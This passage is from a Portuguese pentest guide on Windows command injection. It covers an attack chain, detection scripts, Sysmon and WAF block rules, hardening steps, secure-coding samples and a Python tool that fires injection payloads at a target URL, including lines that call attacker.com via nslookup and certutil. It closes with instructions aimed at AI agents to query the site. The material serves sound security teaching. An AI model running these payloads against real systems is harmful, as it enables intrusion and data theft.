    - Denial of Service (DoS)
    - Exposição de informações do sistema
    - Modificação de arquivos não críticos

  🔵 BAIXO:
    - Execução de comandos sem privilégios
    - Exposição de informações de debug
```

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Identificar vetor de injeção] --> B[Testar payloads básicos]
    B --> C[Confirmar vulnerabilidade]
    C --> D[Escolher payload de exploração]
    
    D --> E1[Coleta de informações]
    D --> E2[Upload de malware]
    D --> E3[Reverse shell]
    
    E1 --> F[whoami, ipconfig, systeminfo]
    E2 --> G[certutil, powershell, bitsadmin]
    E3 --> H[Netcat, PowerShell, Metasploit]
    
    F --> I[Escalação de privilégios]
    G --> I
    H --> I
    
    I --> J[Lateral movement]
    J --> K[Persistência]
    K --> L[Exfiltração]
    
    style A fill:#ff9999
    style C fill:#ff6666
    style L fill:#ff3333
```

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção em Tempo Real**

```powershell
# detect_command_injection.ps1 - Detector de command injection

param(
    [string]$LogFile = "C:\temp\cmd_injection.log"
)

function Write-Log {
    param($Message)
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    "$timestamp - $Message" | Out-File -FilePath $LogFile -Append
    Write-Host $Message
}

function Monitor-ProcessCreation {
    Write-Log "Starting process creation monitoring..."
    
    $query = @"
    SELECT * FROM Win32_ProcessStartTrace
"@
    
    Register-WmiEvent -Query $query -Action {
        $event = $EventArgs.NewEvent
        $process = $event.ProcessName
        $command = $event.CommandLine
        
        # Suspicious process patterns
        $suspicious = @(
            'cmd.exe', 'powershell.exe', 'wmic.exe', 'wscript.exe',
            'cscript.exe', 'mshta.exe', 'regsvr32.exe', 'rundll32.exe',
            'certutil.exe', 'bitsadmin.exe', 'msiexec.exe'
        )
        
        if ($suspicious -contains $process) {
            $alert = "[ALERT] Suspicious process: $process - Command: $command"
            Write-Log $alert
            
            # Check for common injection patterns
            $patterns = @(
                ';', '&', '|', '&&', '||', '$(',
                'Invoke-Expression', 'IEX', 'Start-Process',
                'DownloadString', 'WebClient', 'WScript.Shell',
                'CreateObject', 'Run', 'ShellExecute'
            )
            
            foreach ($pattern in $patterns) {
                if ($command -match $pattern) {
                    $alert = "[CRITICAL] Command injection pattern detected: $pattern in $command"
                    Write-Log $alert
                }
            }
        }
    }
}

function Monitor-WebLogs {
    param($IISLogPath = "C:\inetpub\logs\LogFiles")
    
    Write-Log "Monitoring IIS logs for injection patterns..."
    
    $patterns = @(
        ';\s*\w+',
        '&\s*\w+',
        '\|\s*\w+',
        '&&\s*\w+',
        '\|\|\s*\w+',
        '\$\(\w+\)',
        'powershell',
        'cmd\.exe',
        'calc\.exe',
        'whoami',
        'ipconfig'
    )
    
    $logs = Get-ChildItem -Path $IISLogPath -Recurse -Filter "*.log" | 
            Sort-Object LastWriteTime -Descending | 
            Select-Object -First 5
    
    foreach ($log in $logs) {
        $content = Get-Content $log.FullName -Tail 100
        foreach ($line in $content) {
            foreach ($pattern in $patterns) {
                if ($line -match $pattern) {
                    Write-Log "[ALERT] Injection pattern in $($log.Name): $line"
                }
            }
        }
    }
}

function Monitor-Sysmon {
    Write-Log "Checking Sysmon events..."
    
    $events = Get-WinEvent -FilterHashtable @{
        LogName='Microsoft-Windows-Sysmon/Operational'
        ID=1  # Process creation
    } -MaxEvents 100
    
    foreach ($event in $events) {
        $xml = [xml]$event.ToXml()
        $command = $xml.Event.EventData.Data | Where-Object {$_.Name -eq "CommandLine"} | Select-Object -ExpandProperty '#text'
        
        if ($command -match ';|&|\|' -and $command -match 'cmd|powershell') {
            Write-Log "[CRITICAL] Sysmon alert: $command"
        }
    }
}

# Main execution
Write-Log "=== Command Injection Detection Started ==="

try {
    # Start monitoring in background job
    $job = Start-Job -ScriptBlock { Monitor-ProcessCreation }
    
    Write-Log "Monitoring running in background. Press any key to stop..."
    $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
    
    Stop-Job $job
    Receive-Job $job
    
} catch {
    Write-Log "Error: $_"
}

Write-Log "=== Detection Stopped ==="
```

### **Ferramentas de Detecção**

```powershell
# Sysmon Configuration for Command Injection Detection
# sysmon_config.xml

<Sysmon schemaversion="4.22">
    <EventFiltering>
        <!-- Process Creation -->
        <ProcessCreate onmatch="exclude">
            <!-- Exclude known good processes -->
        </ProcessCreate>
        
        <!-- Network Connection -->
        <NetworkConnect onmatch="include">
            <CommandLine condition="contains">powershell</CommandLine>
            <CommandLine condition="contains">IEX</CommandLine>
            <CommandLine condition="contains">WebClient</CommandLine>
        </NetworkConnect>
        
        <!-- Process Access -->
        <ProcessAccess onmatch="include">
            <SourceImage condition="contains">powershell</SourceImage>
            <TargetImage condition="contains">lsass</TargetImage>
        </ProcessAccess>
    </EventFiltering>
</Sysmon>

# Install Sysmon
# sysmon64.exe -accepteula -i sysmon_config.xml

# Windows Defender ATP
# Enable cloud-delivered protection
Set-MpPreference -CloudBlockLevel High
Set-MpPreference -CloudTimeout 50

# Enable network protection
Set-MpPreference -EnableNetworkProtection Enabled

# Enable attack surface reduction rules
Add-MpPreference -AttackSurfaceReductionRules_Ids '3B576869-A4EC-4529-8536-B80A7769E899' -AttackSurfaceReductionRules_Actions Enabled
Add-MpPreference -AttackSurfaceReductionRules_Ids '75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84' -AttackSurfaceReductionRules_Actions Enabled

# PowerShell Logging
# Enable PowerShell script block logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable PowerShell transcription
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "OutputDirectory" -Value "C:\Windows\Temp\PowerShell_Transcripts"
```

***

## 🛡️ **Mitigações e Correção**

### **Configuração de Hardening**

```powershell
# hardening_command_injection.ps1 - Hardening contra command injection

# 1. Disable unnecessary services
Write-Host "[1] Disabling unnecessary services..."
Set-Service -Name "WMPNetworkSvc" -StartupType Disabled
Set-Service -Name "RemoteRegistry" -StartupType Disabled
Set-Service -Name "Telnet" -StartupType Disabled

# 2. Configure PowerShell execution policy
Write-Host "[2] Configuring PowerShell execution policy..."
Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope LocalMachine -Force

# 3. Enable PowerShell logging
Write-Host "[3] Enabling PowerShell logging..."
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# 4. Configure Windows Defender
Write-Host "[4] Configuring Windows Defender..."
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableControlledFolderAccess Enabled

# 5. Disable WSH (Windows Script Host)
Write-Host "[5] Disabling Windows Script Host..."
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings" -Name "Enabled" -Value 0

# 6. Configure AppLocker rules
Write-Host "[6] Configuring AppLocker..."
# Allow only signed scripts
Set-AppLockerPolicy -PolicyXml (Get-AppLockerPolicy -Effective)

# 7. Enable Windows Firewall
Write-Host "[7] Enabling Windows Firewall..."
Set-NetFirewallProfile -All -Enabled True

# 8. Block PowerShell execution for unprivileged users
Write-Host "[8] Restricting PowerShell..."
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -Name "PowerShell" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -Name "ExecutionPolicy" -Value "Restricted"

# 9. Enable process creation auditing
Write-Host "[9] Enabling auditing..."
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

# 10. Configure AMSI
Write-Host "[10] Configuring AMSI..."
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "Enable" -Value 1

Write-Host "[+] Hardening completed successfully!" -ForegroundColor Green
```

### **Programação Segura no Windows**

```csharp
// SafeCommandExecution.cs - Padrões seguros em C#

using System;
using System.Diagnostics;
using System.Text.RegularExpressions;

public class SafeCommandExecution
{
    // 1. Validar input com whitelist
    public static bool ValidateIPAddress(string ip)
    {
        string pattern = @"^(\d{1,3}\.){3}\d{1,3}$";
        return Regex.IsMatch(ip, pattern);
    }
    
    // 2. Usar ProcessStartInfo com argumentos separados
    public static string SafePing(string ipAddress)
    {
        if (!ValidateIPAddress(ipAddress))
        {
            throw new ArgumentException("Invalid IP address");
        }
        
        ProcessStartInfo psi = new ProcessStartInfo
        {
            FileName = "ping",
            Arguments = $"-n 1 {ipAddress}",
            UseShellExecute = false,
            RedirectStandardOutput = true,
            CreateNoWindow = true
        };
        
        using (Process process = Process.Start(psi))
        {
            return process.StandardOutput.ReadToEnd();
        }
    }
    
    // 3. Usar API segura em vez de shell
    public static void SafeFileOperation(string filename)
    {
        // Usar File API em vez de cmd.exe
        System.IO.File.ReadAllText(filename);
    }
    
    // 4. Escapar caracteres especiais
    public static string EscapeArgument(string argument)
    {
        return argument.Replace("\"", "\\\"")
                      .Replace("&", "^&")
                      .Replace("|", "^|")
                      .Replace(";", "^;")
                      .Replace(">", "^>")
                      .Replace("<", "^<");
    }
    
    // 5. Usar PowerShell seguro
    public static string SafePowerShell(string script)
    {
        // Usar scriptblock em vez de string
        var ps = System.Management.Automation.PowerShell.Create();
        ps.AddScript(script);
        var results = ps.Invoke();
        
        return results.ToString();
    }
}
```

```python
# safe_command_execution.py - Padrões seguros em Python

import subprocess
import shlex
import re

class SafeCommandExecution:
    """Padrões seguros para execução de comandos no Windows"""
    
    @staticmethod
    def validate_ip(ip):
        """Validar IP com whitelist"""
        pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
        return re.match(pattern, ip) is not None
    
    @staticmethod
    def safe_ping(ip):
        """Execução segura de ping"""
        if not SafeCommandExecution.validate_ip(ip):
            raise ValueError(f"Invalid IP address: {ip}")
        
        # Usar lista de argumentos, não string
        result = subprocess.run(
            ['ping', '-n', '1', ip],
            capture_output=True,
            text=True,
            shell=False  # Importante: shell=False
        )
        
        return result.stdout
    
    @staticmethod
    def safe_subprocess(cmd, args):
        """Execução segura com shlex"""
        # Escapar argumentos
        escaped_args = [shlex.quote(arg) for arg in args]
        
        # Executar sem shell
        result = subprocess.run(
            [cmd] + escaped_args,
            capture_output=True,
            text=True,
            shell=False
        )
        
        return result
    
    @staticmethod
    def safe_path_operation(filename):
        """Operações seguras com arquivos"""
        # Usar pathlib para evitar injeção
        from pathlib import Path
        
        safe_path = Path(filename).resolve()
        
        # Verificar se está dentro de diretório permitido
        allowed_dir = Path('C:/safe_directory')
        if allowed_dir not in safe_path.parents:
            raise PermissionError("Access denied")
        
        with open(safe_path, 'r') as f:
            return f.read()
    
    @staticmethod
    def avoid_system_call():
        """Evitar system() e os.system()"""
        # NÃO USAR:
        # os.system(f"ping {user_input}")
        
        # USAR:
        import subprocess
        subprocess.run(['ping', user_input], shell=False)
    
    @staticmethod
    def safe_template_engine():
        """Usar template engines seguras"""
        # NÃO USAR:
        # eval(f"Hello {user_input}")
        
        # USAR:
        import string
        template = string.Template("Hello $name")
        return template.substitute(name=user_input)
```

### **Web Application Firewall (WAF) Rules**

```nginx
# nginx.conf - WAF rules for command injection

# Block common command injection patterns
location / {
    # Block cmd separators
    if ($args ~* "[;&|`\$\{\}]") {
        return 403;
    }
    
    # Block powershell
    if ($args ~* "(?i)(powershell|cmd\.exe|calc\.exe|whoami)") {
        return 403;
    }
    
    # Block download cradles
    if ($args ~* "(?i)(downloadstring|webclient|invoke-expression)") {
        return 403;
    }
    
    # Block encoded commands
    if ($args ~* "(?i)(-e|encodedcommand|base64)") {
        return 403;
    }
    
    # Block WMI
    if ($args ~* "(?i)(wmic|process call create|win32_process)") {
        return 403;
    }
    
    # Block scheduled tasks
    if ($args ~* "(?i)(schtasks|task scheduler)") {
        return 403;
    }
}

# ModSecurity rules for command injection
# Include OWASP Core Rule Set
Include crs/owasp_crs.conf

# Custom rules
SecRule ARGS "(;|&|\||`|\$\()" \
    "id:10001,phase:2,deny,status:403,msg:'Command Injection Detected'"

SecRule ARGS "(powershell|cmd\.exe|calc\.exe)" \
    "id:10002,phase:2,deny,status:403,msg:'Suspicious Process Detected'"

SecRule ARGS "(downloadstring|webclient|iex)" \
    "id:10003,phase:2,deny,status:403,msg:'Download Cradle Detected'"
```

***

## 🔬 **Pentesting com Command Execution**

### **Metodologia de Teste**

```yaml
Fases do Teste de Command Injection:

  FASE 1 - Reconhecimento:
    - Identificar parâmetros de entrada
    - Mapear funcionalidades que executam comandos
    - Analisar respostas de erro
    - Testar payloads simples (time-based)

  FASE 2 - Exploração:
    - Testar separadores de comando (;, &, |)
    - Testar blind injection (time delays)
    - Testar out-of-band (DNS, HTTP)
    - Extrair informações do sistema

  FASE 3 - Escalação:
    - Escalar privilégios (whoami, systeminfo)
    - Executar comandos administrativos
    - Estabelecer persistência

  FASE 4 - Pós-Exploração:
    - Coletar credenciais (mimikatz)
    - Movimentação lateral
    - Exfiltração de dados
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# cmd_injection_pentest.py - Pentest automatizado

import requests
import time
import sys
import base64
from urllib.parse import quote

class CMDInjectionPentest:
    """Ferramenta de pentest para command injection"""
    
    def __init__(self, target_url, param, method='GET'):
        self.target_url = target_url
        self.param = param
        self.method = method.upper()
        self.vulnerabilities = []
    
    def test_time_based(self):
        """Teste baseado em tempo"""
        print("[*] Testing time-based injection...")
        
        payloads = [
            f"127.0.0.1 & ping -n 5 127.0.0.1",
            f"127.0.0.1 | timeout 5",
            f"127.0.0.1 && ping -n 5 127.0.0.1",
            f"127.0.0.1; ping -n 5 127.0.0.1",
            f"127.0.0.1 || ping -n 5 127.0.0.1"
        ]
        
        normal_time = self._get_response_time("127.0.0.1")
        
        for payload in payloads:
            response_time = self._get_response_time(payload)
            if response_time > normal_time + 4:  # 5+ seconds delay
                self.vulnerabilities.append({
                    'type': 'TIME_BASED',
                    'payload': payload,
                    'response_time': response_time,
                    'normal_time': normal_time
                })
                print(f"   ✅ Vulnerable: {payload}")
    
    def test_output_based(self):
        """Teste baseado em saída"""
        print("[*] Testing output-based injection...")
        
        commands = [
            "whoami",
            "ipconfig",
            "systeminfo",
            "echo %USERNAME%",
            "dir C:\\"
        ]
        
        for cmd in commands:
            payload = f"127.0.0.1 & {cmd}"
            response = self._send_request(payload)
            
            if response and any(word in response.text.lower() for word in ['user', 'windows', 'system']):
                self.vulnerabilities.append({
                    'type': 'OUTPUT_BASED',
                    'payload': payload,
                    'output': response.text[:200]
                })
                print(f"   ✅ Vulnerable: {payload}")
    
    def test_error_based(self):
        """Teste baseado em erro"""
        print("[*] Testing error-based injection...")
        
        payloads = [
            "127.0.0.1 & nonexistentcommand",
            "127.0.0.1 | invalid.exe",
            "127.0.0.1 && error"
        ]
        
        for payload in payloads:
            response = self._send_request(payload)
            if response and any(err in response.text.lower() for err in ['not recognized', 'not found', 'error']):
                self.vulnerabilities.append({
                    'type': 'ERROR_BASED',
                    'payload': payload,
                    'error': response.text[:200]
                })
                print(f"   ✅ Vulnerable: {payload}")
    
    def test_blind_out_of_band(self):
        """Teste OOB (DNS, HTTP)"""
        print("[*] Testing OOB injection...")
        print("   Note: Requires listener setup")
        
        # DNS exfiltration
        payload = f"127.0.0.1 & nslookup {self._random_string()}.attacker.com"
        # HTTP exfiltration
        # payload = f"127.0.0.1 & certutil -urlcache -f http://attacker.com/{self._random_string()}"
        
        # Em um teste real, verificaria se o DNS/HTTP request chegou
        print(f"   Payload example: {payload}")
    
    def _send_request(self, payload):
        """Enviar requisição com payload"""
        try:
            params = {self.param: payload}
            
            if self.method == 'GET':
                response = requests.get(self.target_url, params=params, timeout=10)
            else:
                response = requests.post(self.target_url, data=params, timeout=10)
            
            return response
        except Exception as e:
            print(f"   Error: {e}")
            return None
    
    def _get_response_time(self, payload):
        """Medir tempo de resposta"""
        try:
            params = {self.param: payload}
            start = time.time()
            
            if self.method == 'GET':
                requests.get(self.target_url, params=params, timeout=30)
            else:
                requests.post(self.target_url, data=params, timeout=30)
            
            return time.time() - start
        except:
            return 0
    
    def _random_string(self, length=8):
        """Gerar string aleatória"""
        import random
        import string
        return ''.join(random.choices(string.ascii_lowercase, k=length))
    
    def run(self):
        """Executar pentest completo"""
        print(f"🚨 Command Injection Pentest")
        print(f"   Target: {self.target_url}")
        print(f"   Parameter: {self.param}")
        print(f"   Method: {self.method}")
        print("=" * 60)
        
        self.test_time_based()
        self.test_output_based()
        self.test_error_based()
        self.test_blind_out_of_band()
        
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE PENTEST")
        print("=" * 60)
        
        if not self.vulnerabilities:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.vulnerabilities)} vulnerabilidade(s):\n")
        
        for vuln in self.vulnerabilities:
            print(f"💉 [{vuln['type']}]")
            print(f"   Payload: {vuln['payload'][:100]}")
            if 'output' in vuln:
                print(f"   Output: {vuln['output'][:100]}...")
            if 'response_time' in vuln:
                print(f"   Response Time: {vuln['response_time']:.2f}s")
            print()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: cmd_injection_pentest.py <url> <param> [method]")
        sys.exit(1)
    
    method = sys.argv[3] if len(sys.argv) > 3 else 'GET'
    pentest = CMDInjectionPentest(sys.argv[1], sys.argv[2], method)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

#### **Validação de Input**

* [ ] Usar whitelist em vez de blacklist
* [ ] Validar tipo, formato e comprimento do input
* [ ] Escapar caracteres especiais
* [ ] Não confiar em inputs do usuário

#### **Execução Segura**

* [ ] Evitar `system()`, `exec()`, `shell_exec()`
* [ ] Usar APIs seguras (subprocess com lista de argumentos)
* [ ] Nunca concatenar inputs em comandos
* [ ] Usar parâmetros separados em vez de strings

#### **Privilégios**

* [ ] Executar com menor privilégio possível
* [ ] Usar chroot/jails para isolamento
* [ ] Aplicar princípio de least privilege

#### **Logging**

* [ ] Logar todas as execuções de comandos
* [ ] Monitorar padrões suspeitos
* [ ] Alertar em tempo real

### **Checklist para Administradores**

#### **Hardening do Sistema**

* [ ] Desabilitar serviços desnecessários
* [ ] Configurar AppLocker/Software Restriction Policies
* [ ] Habilitar Windows Defender ATP
* [ ] Configurar PowerShell execution policy
* [ ] Habilitar PowerShell logging

#### **Monitoramento**

* [ ] Implementar Sysmon para processo creation
* [ ] Configurar Windows Event Forwarding
* [ ] Monitorar logs de IIS/Web
* [ ] Alertar para comandos suspeitos

#### **Resposta a Incidentes**

* [ ] Isolar sistema comprometido
* [ ] Coletar evidências forenses
* [ ] Analisar logs e processos
* [ ] Reverter alterações maliciosas

***

## 📊 **Conclusão**

```yaml
Command Execution no Windows:

  🔴 Principais Vetores:
    - Aplicações web sem validação
    - APIs vulneráveis
    - Upload de arquivos
    - Headers HTTP

  🛡️ Mitigações Essenciais:
    - Validação rigorosa de inputs
    - Uso de APIs seguras
    - Menor privilégio possível
    - Monitoramento contínuo

  🎯 Prioridade:
    - CRÍTICA: Aplicações web públicas
    - ALTA: APIs e serviços internos
    - MÉDIA: Scripts administrativos
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/command-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
